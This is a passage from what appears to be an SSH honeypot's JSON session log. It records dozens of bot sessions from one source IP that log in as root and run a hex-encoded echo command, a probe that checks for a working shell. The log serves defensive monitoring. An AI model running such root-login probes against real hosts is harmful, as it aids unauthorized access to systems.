  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "6e5ce86a-1341-4f27-b06e-49bcc0f9c920",
  "name": "boreal-umber-heron",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 39258,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:54:07.157128+00:00",
  "ended_at": "2026-08-23T08:54:12.031037+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "9867633a-7dd0-48ec-80c3-ea8ac9843f7d",
  "name": "graceful-dusty-wren",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 39252,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:54:02.606099+00:00",
  "ended_at": "2026-08-23T08:54:06.327912+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "02682e1d-c2a5-48ac-9a8c-0339a82bdff7",
  "name": "daring-honest-stoat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 39244,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:53:59.873339+00:00",
  "ended_at": "2026-08-23T08:54:01.767025+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "04c293be-e709-4c1a-827f-2a95d5431a50",
  "name": "patient-vivid-addax",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 39746,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:53:57.946121+00:00",
  "ended_at": "2026-08-23T08:53:59.092681+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "d15157b5-2055-46ca-b408-89d17d92b57f",
  "name": "bitter-plush-petrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 39738,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:53:55.420158+00:00",
  "ended_at": "2026-08-23T08:53:57.169013+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "17ae2cb1-50f3-4c78-b108-a592b497ddc3",
  "name": "pristine-daring-siskin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 39722,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:53:53.512459+00:00",
  "ended_at": "2026-08-23T08:53:54.773003+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "7211a3f8-ba13-44f0-8588-db2f669d151d",
  "name": "clever-daring-fossa",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 39714,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:53:51.421933+00:00",
  "ended_at": "2026-08-23T08:53:52.796891+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "13e6f0e1-5e57-4525-8a9a-a479880092c8",
  "name": "pleasant-spirited-jerboa",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 39712,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:53:49.432149+00:00",
  "ended_at": "2026-08-23T08:53:50.788752+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "2d4da83f-b962-422c-bca2-9566054afbc1",
  "name": "ginger-seaward-albatross",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 53912,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:53:46.950908+00:00",
  "ended_at": "2026-08-23T08:53:48.744656+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "cfe1228f-7879-47e0-b076-744c210decf7",
  "name": "marbled-cobalt-koala",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 53896,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:53:44.944752+00:00",
  "ended_at": "2026-08-23T08:53:46.310865+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "16085b9d-1db9-4501-b3bb-458ebabe31c4",
  "name": "murky-primal-kea",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 53890,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:53:43.117933+00:00",
  "ended_at": "2026-08-23T08:53:44.132079+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "66e44d8f-7732-4abf-8352-acb34b891723",
  "name": "grassy-muted-bonobo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 53878,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:53:40.838791+00:00",
  "ended_at": "2026-08-23T08:53:42.505633+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "4c221d40-0b8b-42b9-a31e-30abd7e18787",
  "name": "loyal-somber-vervet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 55496,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:53:38.075542+00:00",
  "ended_at": "2026-08-23T08:53:40.023023+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "ceb7b728-7faf-4a9f-a526-2434eb4fa5a2",
  "name": "coastal-northern-tanager",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 55482,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:53:35.702591+00:00",
  "ended_at": "2026-08-23T08:53:37.446228+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "170bbe3c-60ab-42e3-8493-65b6d975fc5b",
  "name": "creaky-mindful-fossa",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 55466,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:53:33.805773+00:00",
  "ended_at": "2026-08-23T08:53:34.921305+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "c0b085fa-41a2-4dd9-bee1-4b53fde1fbff",
  "name": "arctic-obsidian-dipper",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 55450,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:53:31.366727+00:00",
  "ended_at": "2026-08-23T08:53:33.188422+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "082d0c8f-3517-41d5-a37d-8721cfccdd38",
  "name": "lucid-foggy-raven",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 55442,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:53:28.926315+00:00",
  "ended_at": "2026-08-23T08:53:30.578198+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "004fcd81-019e-497a-9cbb-19e4abb2235b",
  "name": "marine-blunt-macaw",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 52314,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:53:26.379438+00:00",
  "ended_at": "2026-08-23T08:53:28.283328+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "9bec67cb-79a9-47ae-98e1-e6be4b37559b",
  "name": "regal-early-siskin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 52312,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:53:24.513077+00:00",
  "ended_at": "2026-08-23T08:53:25.597025+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "369fe099-af27-432b-91db-e1bc155c1397",
  "name": "graceful-smoky-mallard",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 52310,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:53:21.561306+00:00",
  "ended_at": "2026-08-23T08:53:23.671331+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "8158f947-7bc6-4fe7-b71b-d0f635795524",
  "name": "dusty-wistful-chamois",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 52304,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:53:19.040037+00:00",
  "ended_at": "2026-08-23T08:53:20.930465+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "14d136c6-6275-4334-a9f5-dafcfaa416a3",
  "name": "glacial-mossy-seal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 35316,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:53:14.738890+00:00",
  "ended_at": "2026-08-23T08:53:18.394779+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "e55f31e0-d8f7-4b1c-a88e-114c84a2b314",
  "name": "nameless-faded-quoll",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 35312,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:53:13.102221+00:00",
  "ended_at": "2026-08-23T08:53:14.066317+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "0e637043-ebc2-442a-ac2f-68b1158ed153",
  "name": "hardy-thawing-mole",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 35304,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:53:11.429775+00:00",
  "ended_at": "2026-08-23T08:53:12.335015+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "c628beab-e5bb-4729-835e-d3c186264df6",
  "name": "wiry-tangled-penguin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 35296,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:53:09.218516+00:00",
  "ended_at": "2026-08-23T08:53:10.638262+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "1ca92a5b-ef85-45e5-9bb6-c427164f2691",
  "name": "restless-faded-gannet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 39632,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:53:06.329628+00:00",
  "ended_at": "2026-08-23T08:53:08.569203+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "ff10514f-3d5b-4ba3-98f2-1ffb0b8d0b9b",
  "name": "curious-wooded-greenfinch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 39618,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:53:04.115210+00:00",
  "ended_at": "2026-08-23T08:53:05.471416+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "e2bf9591-1d58-4696-b09c-8000e3387dee",
  "name": "balmy-feral-eider",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 39612,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:53:01.430836+00:00",
  "ended_at": "2026-08-23T08:53:03.336003+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "4fae5ae1-1def-44d1-abde-77e350eda0c5",
  "name": "whispering-lawful-puffin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 51516,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:52:58.787804+00:00",
  "ended_at": "2026-08-23T08:53:00.705641+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "f8b6afce-42e5-412a-b552-ca8bf5837bcd",
  "name": "boreal-stoic-wren",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 51504,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:52:56.322025+00:00",
  "ended_at": "2026-08-23T08:52:57.962850+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "bf7ea203-38ee-4b16-af15-77ea51b38c23",
  "name": "amiable-orderly-eagle",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 51488,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:52:52.536305+00:00",
  "ended_at": "2026-08-23T08:52:55.532645+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "70c93a71-aba2-44c7-838b-ec7378377603",
  "name": "bitter-feathered-lynx",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 51484,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:52:49.558863+00:00",
  "ended_at": "2026-08-23T08:52:51.738566+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "e4f0d3e4-4602-4d17-8c49-c7a74424c511",
  "name": "cobalt-shaded-quokka",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 60110,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:52:46.505310+00:00",
  "ended_at": "2026-08-23T08:52:48.748047+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "1a93770d-9f33-4507-bf05-cf936de8e65c",
  "name": "subtle-gilded-eagle",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 60096,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:52:44.522948+00:00",
  "ended_at": "2026-08-23T08:52:45.875536+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "aebf88ca-ea12-4c4c-9e53-edb54c2da78b",
  "name": "quiet-primal-avocet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 60082,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:52:42.191380+00:00",
  "ended_at": "2026-08-23T08:52:43.723562+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "d28112fe-af1f-44fb-bbde-444dddd39bc1",
  "name": "tranquil-freckled-dipper",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 60078,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:52:40.374636+00:00",
  "ended_at": "2026-08-23T08:52:41.416648+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "c7c9c522-76c3-40bb-8ad6-155ce3619041",
  "name": "bronzed-gilded-toucan",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 44270,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:52:38.712600+00:00",
  "ended_at": "2026-08-23T08:52:39.643530+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "daa64f05-afe6-48ed-9207-2138515b73bc",
  "name": "barren-jovial-hamster",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 44268,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:52:36.568849+00:00",
  "ended_at": "2026-08-23T08:52:38.054797+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "1e5ac596-e266-4723-9ee2-d5cab1a38f33",
  "name": "craggy-fearless-albatross",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 44258,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:52:34.030194+00:00",
  "ended_at": "2026-08-23T08:52:35.927705+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "f9cd53d9-1362-4bbc-9d67-6e0c283ccafd",
  "name": "cunning-solar-shearwater",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 44254,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:52:31.184927+00:00",
  "ended_at": "2026-08-23T08:52:33.384178+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "7e091ccc-9d23-4371-bf17-70f53a4a1da7",
  "name": "orderly-creaky-ibex",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 44252,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:52:28.791446+00:00",
  "ended_at": "2026-08-23T08:52:30.421952+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "223a4adb-ccf5-499d-a430-85df7f483e4f",
  "name": "languid-plush-fieldfare",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 33032,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:52:24.767256+00:00",
  "ended_at": "2026-08-23T08:52:28.141955+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "de691418-584c-4918-818b-5614b75b3457",
  "name": "verdant-sterling-bluebird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 33018,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:52:22.764058+00:00",
  "ended_at": "2026-08-23T08:52:23.977233+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "51b14f68-204c-4438-ba60-4d055767ee40",
  "name": "tangled-gallant-lark",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 33008,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:52:19.867276+00:00",
  "ended_at": "2026-08-23T08:52:22.064842+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "65ba2929-9678-4796-87ff-0f5f52cd86e1",
  "name": "lofty-flinty-ouzel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 42292,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:52:17.124109+00:00",
  "ended_at": "2026-08-23T08:52:19.140149+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "9477566e-35d6-4d8f-9bcd-ea17687514d6",
  "name": "rustic-bold-peccary",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 42278,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:52:14.611021+00:00",
  "ended_at": "2026-08-23T08:52:16.302143+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "3f724adb-fdbb-4dfa-bf84-ca2c9453dfa9",
  "name": "electric-lonesome-grouse",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 42272,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:52:12.552200+00:00",
  "ended_at": "2026-08-23T08:52:13.778523+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "5aeb6ea5-2643-4f8b-b61c-52b28c5b3cd8",
  "name": "jolly-hollow-cougar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 42262,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:52:09.830004+00:00",
  "ended_at": "2026-08-23T08:52:11.822927+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "0b04d05f-e227-4417-9c0b-c8c34afb6676",
  "name": "creaky-pleasant-gadwall",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 38472,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:52:07.302096+00:00",
  "ended_at": "2026-08-23T08:52:09.019041+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "0b5af39d-9cb2-4341-9065-bb152a2b3caa",
